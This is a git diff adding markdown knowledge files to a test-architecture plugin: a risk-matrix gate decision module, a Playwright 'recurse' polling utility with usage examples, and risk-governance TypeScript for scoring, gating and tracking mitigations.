+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
